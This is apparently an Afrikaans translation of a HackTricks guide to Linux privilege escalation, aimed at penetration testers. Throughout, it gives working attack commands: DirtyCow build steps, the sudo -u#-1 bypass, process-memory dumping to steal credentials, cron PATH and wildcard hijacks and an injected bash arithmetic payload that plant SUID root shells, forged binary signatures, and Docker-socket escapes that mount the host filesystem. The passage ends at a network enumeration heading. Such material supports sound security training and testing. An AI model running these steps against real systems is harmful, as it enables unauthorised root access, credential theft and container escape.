Linux Privilege Escalation

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Stelselinligting

OS-inligting

Kom ons begin om inligting oor die hardloopende OS in te samel

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Pad

As jy skryfregte op enige gids binne die PATH veranderlike het, kan jy moontlik sekere libraries of binaries kaap:

echo $PATH

Omgewingsinligting

Interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes?

(env || set) 2>/dev/null

Kernel exploits

Kontroleer die kernel-weergawe en of daar ’n exploit is wat gebruik kan word om privileges op te skaal.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Jy kan ’n goeie lys van kwesbare kernel-weergawes en sommige reeds compiled exploits hier vind: https://github.com/lucyoa/kernel-exploits en exploitdb sploits.
Ander webwerwe waar jy sommige compiled exploits kan vind: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Om alle kwesbare kernel-weergawes vanaf daardie webwerf te onttrek, kan jy dit doen:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Gereedskap wat kan help om na kernel exploits te soek is:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim, slegs kontroleer exploits vir kernel 2.x)

Soek altyd die kernel version in Google, dalk verskyn jou kernel version in ’n kernel exploit en dan sal jy seker wees dat hierdie exploit geldig is.

Addisionele kernel exploitation techniques:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo weergawe

Gebaseer op die kwesbare sudo-weergawes wat verskyn in:

searchsploit sudo

Jy kan nagaan of die sudo-weergawe kwesbaar is deur hierdie grep te gebruik.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Sudo-weergawes voor 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) laat ongeprivilegieerde plaaslike gebruikers toe om hul voorregte na root te eskaleer via die sudo --chroot opsie wanneer die /etc/nsswitch.conf-lêer uit ’n deur die gebruiker beheerde gids gebruik word.

Hier is ’n PoC om daardie vulnerability te exploit. Voordat jy die exploit uitvoer, maak seker dat jou sudo-weergawe kwesbaar is en dat dit die chroot-funksie ondersteun.

Vir meer inligting, verwys na die oorspronklike vulnerability advisory

sudo < v1.8.28

Van @sickrov

sudo -u#-1 /bin/bash

Dmesg handtekeningverifikasie het misluk

Kyk na smasher2 box of HTB vir ’n voorbeeld van hoe hierdie vuln uitgebuit kan word

dmesg 2>/dev/null | grep "signature"

Meer system enumeration

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Som moontlike verdedigings op

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

As jy binne ’n docker container is, kan jy probeer om daaruit te ontsnap:

Docker Security

Skywe

Kontroleer what is mounted and unmounted, waar en waarom. As iets unmounted is, kan jy probeer om dit te mount en te kyk vir privaat inligting.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Nuttige sagteware

Lys nuttige binaries

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Kontroleer ook of enige compiler geïnstalleer is. Dit is nuttig as jy ’n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op een soortgelyk).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Geïnstalleerde kwesbare sagteware

Kyk na die weergawe van die geïnstalleerde pakkette en dienste. Miskien is daar ’n ouer Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word om escalating privileges…
Dit word aanbeveel om handmatig die weergawe van die meer verdagte geïnstalleerde sagteware te kontroleer.

dpkg -l #Debian
rpm -qa #Centos

As jy SSH-toegang tot die masjien het, kan jy ook openVAS gebruik om verouderde en kwesbare sagteware op die masjien te kontroleer.

[!NOTE] > Neem kennis dat hierdie kommando’s baie inligting sal vertoon wat meestal nutteloos sal wees; daarom word dit aanbeveel om toepassings soos OpenVAS of soortgelyke te gebruik wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits

Prosesse

Kyk na watter prosesse uitgevoer word en kontroleer of enige proses meer voorregte het as wat dit behoort te hê (byvoorbeeld ’n tomcat wat deur root uitgevoer word?)

ps aux
ps -ef
top -n 1

Kontroleer altyd vir moontlike electron/cef/chromium debuggers wat loop, jy kan dit misbruik om privilegies te eskaleer. Linpeas detecteer dit deur die --inspect parameter in die proses se command line te kontroleer.
Kontroleer ook jou voorregte oor die proses se binaries; dalk kan jy dit oorskryf.

Process monitoring

Jy kan gereedskap soos pspy gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer ’n stel vereistes vervul is.

Process memory

Sommige dienste op ’n server stoor credentials in clear text inside the memory.
Normaalweg sal jy root privileges nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees; daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.
Onthou egter dat as ’n gewone gebruiker jy die geheue van die prosesse wat jy besit kan lees.

Warning

Let daarop dat meeste masjiene deesdae nie ptrace standaard toelaat nie, wat beteken dat jy nie ander prosesse wat aan jou onpriviledged gebruiker behoort kan dump nie.

Die lêer /proc/sys/kernel/yama/ptrace_scope beheer die toeganklikheid van ptrace:

  • kernel.yama.ptrace_scope = 0: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke manier waarop ptracing gewerk het.
  • kernel.yama.ptrace_scope = 1: slegs ’n ouer-proses kan gedebug word.
  • kernel.yama.ptrace_scope = 2: Slegs admin kan ptrace gebruik, omdat dit die CAP_SYS_PTRACE kapasiteit vereis.
  • kernel.yama.ptrace_scope = 3: Geen prosesse mag met ptrace getrace word nie. Sodra dit gestel is, is ’n reboot nodig om ptracing weer te aktiveer.

GDB

As jy toegang het tot die geheue van ’n FTP service (byvoorbeeld) kan jy die Heap kry en daarin na credentials soek.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Skrip

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Vir ’n gegewe proses-ID wys die maps hoe geheue binne daardie proses se virtuele adresruimte gekarteer is; dit wys ook die toestemmings van elke gekarteerde gebied. Die mem pseudo-lêer onthul die proses se geheue self. Uit die maps-lêer weet ons watter geheuegebiede leesbaar is en hul offsets. Ons gebruik hierdie inligting om in die mem-lêer te seek en alle leesbare gebiede na ’n lêer te dump.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem gee toegang tot die stelsel se fisiese geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan via /dev/kmem benader word.\

Tipies is /dev/mem slegs leesbaar deur root en die kmem groep.

strings /dev/mem -n10 | grep -i PASS

ProcDump vir linux

ProcDump is ’n herontwerp vir Linux van die klassieke ProcDump tool uit die Sysinternals-suite van tools vir Windows. Kry dit by https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Gereedskap

Om die proses se geheue te dump kan jy gebruik:

Kredensiale uit Prosesgeheue

Handmatige voorbeeld

As jy vind dat die authenticator-proses aan die gang is:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Jy kan die process dump (sien vorige afdelings om verskillende maniere te vind om die memory van ’n process te dump) en na credentials binne die memory soek:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Die tool https://github.com/huntergregal/mimipenguin sal clear text credentials uit die geheue en van sommige well known files steel. Dit vereis root privileges om behoorlik te werk.

FunksieProsesnaam
GDM password (Kali Desktop, Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (Active FTP Connections)vsftpd
Apache2 (Active HTTP Basic Auth Sessions)apache2
OpenSSH (Active SSH Sessions - Sudo Usage)sshd:

Soek Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Geskeduleerde/Cron-take

Crontab UI (alseambusher) wat as root loop – web-based scheduler privesc

As ’n web “Crontab UI” paneel (alseambusher/crontab-ui) wat as root loop en slegs aan loopback gebind is, kan jy dit steeds via SSH local port-forwarding bereik en ’n privileged job skep om te escalate.

Tipiese ketting

  • Vind ’n slegs-loopback-poort (bv. 127.0.0.1:8000) en Basic-Auth realm via ss -ntlp / curl -v localhost:8000
  • Vind credentials in operasionele artefakte:
  • Backups/scripts met zip -P <password>
  • systemd unit wat Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..." openbaar
  • Tunnel en login:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
  • Skep ’n high-priv taak en voer dit onmiddellik uit (gee ’n SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
  • Gebruik dit:
/tmp/rootshell -p   # root shell

Hardening

  • Moet nie Crontab UI as root laat loop nie; beperk dit tot ’n toegewyde gebruiker en minimale permissies
  • Bind aan localhost en beperk toegang verder via firewall/VPN; moenie wagwoorde hergebruik nie
  • Vermy om secrets in unit files in te sluit; gebruik secret stores of ’n root-only EnvironmentFile
  • Skakel audit/logging aan vir on-demand job executions

Kontroleer of enige scheduled job kwesbaar is. Miskien kan jy voordeel trek uit ’n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron-pad

Byvoorbeeld, binne /etc/crontab kan jy die PATH vind: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Let wel hoe die gebruiker “user” skryfregte oor /home/user het)

As die root-gebruiker binne hierdie crontab probeer om ’n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: * * * * root overwrite.sh
Dan kan jy ’n root shell kry deur te gebruik:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron wat ’n script gebruik met ’n wildcard (Wildcard Injection)

As ’n script wat deur root uitgevoer word ’n “*” in ’n opdrag het, kan jy dit uitbuit om onverwagte dinge te doen (soos privesc). Voorbeeld:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

As die wildcard voorafgegaan word deur ’n pad soos /some/path/* , is dit nie kwesbaar nie (selfs ./* nie).

Lees die volgende bladsy vir meer wildcard-uitbuitingstrieke:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash voer parameter expansion en command substitution uit voordat arithmetic evaluation in ((…)), $((…)) and let plaasvind. As ’n root cron/parser onbeheerde log-velde lees en dit in ’n arithmetic context invoer, kan ’n aanvaller ’n command substitution $(…) inject wat as root uitgevoer word wanneer die cron loop.

  • Waarom dit werk: In Bash gebeur expansions in hierdie volgorde: parameter/variable expansion, command substitution, arithmetic expansion, dan word splitting en pathname expansion. Dus word ’n waarde soos $(/bin/bash -c 'id > /tmp/pwn')0 eers vervang (die kommando word uitgevoer), en die oorblywende numeriese 0 word vir die arithmetic gebruik sodat die script sonder foute voortgaan.

  • Typical vulnerable pattern:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log
  • Uitbuiting: Kry aanvaller-beheerde teks geskryf in die ontlede log sodat die numeries-lykende veld ’n command substitution bevat en op ’n syfer eindig. Maak seker jou kommando skryf nie na stdout nie (of herlei dit) sodat die arithmetic geldig bly.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

As jy ’n cron script kan wysig wat deur root uitgevoer word, kan jy baie maklik ’n shell kry:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

As die script wat deur root uitgevoer word ’n gids waarop jy volle toegang het gebruik, kan dit dalk nuttig wees om daardie gids te verwyder en ’n symlink-gids na ’n ander een te skep wat ’n script bedien wat deur jou beheer word.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Aangepas-ondertekende cron binaries met wegskryfbare payloads

Blue teams teken soms cron-gedrewe binaries “sign” deur ’n pasgemaakte ELF-seksie uit te dump en te grep vir ’n vendor string voordat hulle dit as root uitvoer. As daardie binary group-writable is (bv. /opt/AV/periodic-checks/monitor besit deur root:devs 770) en jy die signing materiaal kan leak, kan jy die seksie vervals en die cron-taak kap:

  1. Gebruik pspy om die verifikasievloei vas te vang. By Era het root objcopy --dump-section .text_sig=text_sig_section.bin monitor gevolg deur grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin en toe die lêer uitgevoer.
  2. Herstel die verwagte sertifikaat met die leaked key/config (van signing.zip):
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
  1. Skep ’n kwaadwillige vervanging (bv. plaas ’n SUID bash, voeg jou SSH key by) en embed die sertifikaat in .text_sig sodat die grep slaag:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
  1. Oorskryf die geskeduleerde binary terwyl jy die uitvoer-bits behou:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
  1. Wag vir die volgende cron-run; sodra die naïewe handtekeningkontrole slaag, sal jou payload as root uitgevoer word.

Frequent cron jobs

Jy kan prosesse monitor om prosesse te vind wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy dit uitbuit en privileges eskaleer.

Byvoorbeeld, om monitor elke 0.1s vir 1 minuut, sorteer op minder uitgevoerde opdragte en verwyder die opdragte wat die meeste uitgevoer is, kan jy doen:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Jy kan ook pspy gebruik (dit sal elke proses wat begin, monitor en lys).

Onsigbare cron jobs

Dit is moontlik om ’n cronjob te skep deur ’n carriage return ná ’n kommentaar te plaas (sonder die newline-karakter), en die cron job sal werk. Voorbeeld (let op die carriage return karakter):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Dienste

Skryfbare .service lêers

Kontroleer of jy enige .service lêer kan skryf; as jy dit kan, kan jy dit wysig sodat dit jou backdoor uitvoer wanneer die diens gestart, herbegin of gestop word (miskien moet jy wag totdat die masjien herbegin).
Byvoorbeeld, skep jou backdoor binne die .service lêer met ExecStart=/tmp/script.sh

Skryfbare service binaries

Onthou dat as jy skryfpermissies oor binaries wat deur dienste uitgevoer word het, jy dit kan vervang met backdoors, sodat wanneer die dienste weer uitgevoer word, die backdoors uitgevoer sal word.

systemd PATH - Relatiewe paaie

Jy kan die PATH wat deur systemd gebruik word sien met:

systemctl show-environment

As jy ontdek dat jy in enige van die vouers van die pad kan write, kan jy moontlik escalate privileges. Jy moet soek na relative paths being used on service configurations lêers soos:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Skep dan ’n executable met die same name as the relative path binary binne die systemd PATH-lêergids wat jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie (Start, Stop, Reload) uit te voer, sal jou backdoor uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie dienste start/stop nie, maar kyk of jy sudo -l kan gebruik).

Leer meer oor services met man systemd.service.

Timers

Timers is systemd unit-lêers waarvan die naam eindig op **.timer** wat **.service**-lêers of gebeurtenisse beheer. Timers kan as ’n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender-tydgebeurtenisse en monotonic-tydgebeurtenisse en asynchroon uitgevoer kan word.

Jy kan al die timers lys met:

systemctl list-timers --all

Writable timers

As jy ’n timer kan wysig, kan jy dit laat uitvoer op sekere bestaande systemd.unit-eenhede (soos ’n .service of ’n .target).

Unit=backdoor.service

In die dokumentasie kan jy lees wat die Unit is:

Die unit wat geaktiveer moet word wanneer hierdie timer verstryk. Die argument is ’n unit-naam, waarvan die agtervoegsel nie “.timer” is nie. As dit nie gespesifiseer word nie, val hierdie waarde terug op ’n service wat dieselfde naam as die timer unit het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die unit-naam wat geaktiveer word en die unit-naam van die timer identies benoem word, behalwe vir die agtervoegsel.

Daarom, om hierdie toestemming te misbruik sal jy nodig hê om:

  • Vind some systemd unit (like a .service) wat ’n skryfbare binêre uitvoer
  • Vind some systemd unit wat ’n relatiewe pad uitvoer en jy het skryfregte oor die systemd PATH (om daardie uitvoerbare te naboots)

Leer meer oor timers met man systemd.timer.

Timer-aktiivering

Om ’n timer te aktiveer het jy root privileges nodig en moet jy uitvoer:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note die timer is geaktiveer deur ’n symlink na dit te skep op /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) stel proseskommunikasie in staat op dieselfde of verskillende masjiene binne client-server modelle. Hulle gebruik standaard Unix descriptor-lêers vir inter-rekenaar kommunikasie en word opgestel deur middel van .socket files.

Sockets kan gekonfigureer word met behulp van .socket-lêers.

Leer meer oor sockets met man systemd.socket. In hierdie lêer kan verskeie interessante parameters gekonfigureer word:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Hierdie opsies verskil, maar ’n samevatting word gebruik om te aandui waar dit gaan luister na die socket (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.)
  • Accept: Neem ’n boolean-argument. As true, word ’n service instance geskep vir elke inkomende verbinding en slegs die verbindings-socket word daaraan deurgegee. As false, word alle luisterende sockets self aan die gestarte service unit deurgegee, en slegs een service unit word geskep vir alle verbindings. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar ’n enkele service unit onvoorwaardelik alle inkomende verkeer hanteer. Standaard is false. Weens prestasieredenes word aanbeveel om nuwe daemons slegs so te skryf dat dit geskik is vir Accept=no.
  • ExecStartPre, ExecStartPost: Neem een of meer opdraglyne, wat onderskeidelik uitgevoer word vóór of ná die luisterende sockets/FIFOs geskep en gebind word. Die eerste token van die opdraglyn moet ’n absolute lêernaam wees, gevolg deur argumente vir die proses.
  • ExecStopPre, ExecStopPost: Bykomende opdragte wat onderskeidelik uitgevoer word vóór of ná die luisterende sockets/FIFOs gesluit en verwyder word.
  • Service: Spesifiseer die service unit-naam om te aktiveer by inkomende verkeer. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit staan standaard op die service wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.

Writable .socket files

Indien jy ’n skryfbare .socket-lêer vind, kan jy aan die begin van die [Socket]-afdeling iets soos ExecStartPre=/home/kali/sys/backdoor byvoeg en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy waarskynlik moet wag totdat die masjien herbegin word.
Let wel dat die stelsel daardie socket-lêerkonfigurasie moet gebruik, anders sal die backdoor nie uitgevoer word nie

Writable sockets

As jy enige skryfbare socket identifiseer (nou praat ons oor Unix Sockets en nie oor die konfigurasie .socket-lêers nie), dan kan jy kommunikeer met daardie socket en moontlik ’n kwesbaarheid uitbuit.

Enumerate Unix Sockets

netstat -a -p --unix

Ruwe verbinding

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

HTTP sockets

Let wel dat daar moontlik sommige sockets listening for HTTP requests is (ek praat nie van .socket files nie, maar van die lêers wat as unix sockets optree). Jy kan dit nagaan met:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

As die socket op ’n HTTP-versoek reageer, kan jy kommunikeer daarmee en moontlik exploit some vulnerability.

Skryfbare Docker Socket

Die Docker socket, dikwels gevind by /var/run/docker.sock, is ’n kritiese lêer wat beveilig moet word. Per verstek is dit skryfbaar deur die root gebruiker en lede van die docker groep. Om skryftoegang tot hierdie socket te hê kan tot privilege escalation lei. Hier is ’n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.

Privilege Escalation with Docker CLI

As jy skryftoegang tot die Docker socket het, kan jy escalate privileges deur die volgende opdragte te gebruik:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Hierdie opdragte laat jou toe om ’n container te draai met root-vlak toegang tot die host se lêerstelsel.

Using Docker API Directly

In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket steeds gemanipuleer word deur die Docker API en curl opdragte te gebruik.

  1. List Docker Images: Retrieve the list of available images.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Create a Container: Send a request to create a container that mounts the host system’s root directory.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Start the newly created container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Attach to the Container: Use socat to establish a connection to the container, enabling command execution within it.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Nadat die socat-verbinding opgestel is, kan jy opdragte direk in die container uitvoer met root-vlak toegang tot die host se lêerstelsel.

Others

Let wel dat as jy skryfpermissies oor die docker socket het omdat jy inside the group docker is, het jy more ways to escalate privileges. As die docker API is listening in a port you can also be able to compromise it.

Kyk na more ways to break out from docker or abuse it to escalate privileges in:

Docker Security

Containerd (ctr) privilege escalation

As jy agterkom dat jy die ctr opdrag kan gebruik, lees die volgende bladsy aangesien you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

As jy agterkom dat jy die runc opdrag kan gebruik, lees die volgende bladsy aangesien you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus is ’n gesofistikeerde inter-Process Communication (IPC)-stelsel wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit ’n robuuste raamwerk vir verskeie vorme van toepassingkommunikasie.

Die stelsel is veelsydig en ondersteun basiese IPC wat die data-uitruiling tussen prosesse verbeter, soortgelyk aan verbeterde UNIX domain sockets. Verder help dit met die uitsaai van gebeurtenisse of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, ’n sein van ’n Bluetooth daemon oor ’n inkomende oproep kan ’n musiekspeler laat stilmaak en so die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus ’n afgeleë objekstelsel, wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig en prosesse wat tradisioneel kompleks was, stroomlyn.

D-Bus werk op ’n allow/deny-model en bestuur boodskappermissies (metode-aanroepe, seinuitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleidsreëls spesifiseer interaksies met die bus en kan potensieel priviliges eskaleer deur die uitbuiting van hierdie permissies.

’n Voorbeeld van so ’n beleid in /etc/dbus-1/system.d/wpa_supplicant.conf word verskaf, wat die permissies uiteensit vir die root-gebruiker om te besit, na te stuur en boodskappe te ontvang van fi.w1.wpa_supplicant1.

Beleide sonder ’n gespesifiseerde gebruiker of groep is universeel van toepassing, terwyl “default” konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Leer hoe om ’n D-Bus communication te enumerate en te exploit hier:

D-Bus Enumeration & Command Injection Privilege Escalation

Netwerk

Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind.

Generiese enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
